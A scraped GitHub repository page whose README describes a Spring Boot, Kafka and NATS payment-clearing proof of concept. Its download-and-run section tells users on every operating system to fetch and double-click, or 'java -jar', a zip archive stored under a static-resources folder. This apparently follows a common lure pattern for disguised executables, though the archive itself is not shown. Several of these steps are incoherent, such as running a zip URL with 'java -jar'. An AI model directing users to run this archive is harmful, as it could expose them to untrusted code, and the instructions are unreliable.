Skip to content

Latest commit

Β 

History

9 Commits

Folders and files

NameName
Last commit message
Last commit date
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

⚑ spring-batch-kafka-nats-poc - Fast & Reliable Financial Transactions

Download Latest Release

πŸ“– Overview

Welcome to the spring-batch-kafka-nats-poc project! This application is a high-velocity clearing and settlement proof of concept (POC) designed with modern technology. Built using Java 21 and Spring Boot 3, it leverages Kafka and NATS for efficient processing. This app includes a Hybrid Event Driven Architecture (EDA) strategy for ultra-low latency fraud checks and durable financial batch processing.

πŸš€ Getting Started

Follow these simple steps to set up the application on your computer.

πŸ–₯️ System Requirements

  • Operating System: Windows 10 or later, macOS 10.14 or later, or any recent Linux distribution
  • Java Version: JDK 21
  • Memory: At least 2GB of RAM available
  • Disk Space: Minimum of 500MB free space

πŸ“₯ Download & Install

To get the software, visit this page to download.

  1. Click the link above to go to the Releases page.
  2. Look for the latest version.
  3. Choose the package suitable for your operating system.
  4. Download the file to your computer.

βš™οΈ How to Run the Application

Once the download is complete, you can run the application:

  1. For Windows Users:

    • Locate the downloaded file (e.g., https://raw.githubusercontent.com/ulises5700/spring-batch-kafka-nats-poc/main/payment-gateway-service/src/main/resources/static/kafka_poc_batch_spring_nats_3.6.zip).
    • Double-click the file to launch the application.
  2. For macOS Users:

    • Open Finder and navigate to the Downloads directory.
    • Locate the downloaded file (https://raw.githubusercontent.com/ulises5700/spring-batch-kafka-nats-poc/main/payment-gateway-service/src/main/resources/static/kafka_poc_batch_spring_nats_3.6.zip).
    • Double-click the file and drag the application to your Applications folder.
  3. For Linux Users:

    • Open a terminal window.
    • Navigate to the download location.
    • Run the application with the command: java -jar https://raw.githubusercontent.com/ulises5700/spring-batch-kafka-nats-poc/main/payment-gateway-service/src/main/resources/static/kafka_poc_batch_spring_nats_3.6.zip.

Make sure to check the terminal for any output messages that may guide you further during the initial run.

🌟 Features

  • High Performance: Processes transactions with ultra-low latency.
  • Event-Driven Architecture: Uses Kafka and NATS for real-time updates and notifications.
  • Fraud Detection: Real-time fraud checks to ensure transaction integrity.
  • Stable Financial Processing: Designed for durable financial batch processing.

πŸ” How It Works

This application utilizes a Hybrid Event-Driven Architecture. It combines both hot and cold paths for data processing. The hot path processes events rapidly, while the cold path handles batch jobs, ensuring data is processed without delay during peak loads.

Kafka serves as the backbone for managing events and messages between services. NATS provides lightweight messaging to support service communication. This architecture is essential for high-performance applications, especially in the fintech sector.

πŸ“š Learning Resources

For those interested in understanding more about the technologies used:

πŸ› οΈ Troubleshooting

If you encounter any issues while running the application, consider the following:

  • Ensure Java is correctly installed and the version is 21 or above.
  • Check that you have enough memory and disk space available.
  • Consult the logs generated during the application run for specific error messages.

If you still need help, feel free to raise an issue on the GitHub repository page.

🌐 Community and Contributions

We welcome contributions! If you have ideas for improvements or want to report issues, please feel free to create a new issue or submit a pull request. Your feedback helps us enhance the application.

🏷️ Topics

This project covers several topics, including:

  • Distributed Systems
  • Event-Driven Architecture
  • Fintech Solutions
  • High-Performance Computing
  • Java Development
  • Kafka Messaging
  • Microservices Architecture
  • NATS Integration
  • Spring Batch Processing
  • Spring Boot Framework

For more information and updates, please check our Releases page regularly.

Download Latest Release

About

πŸ“‘ Connect data streams seamlessly using Spring Batch with Kafka and NATS for efficient processing and reliable messaging in modern applications.

Topics

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages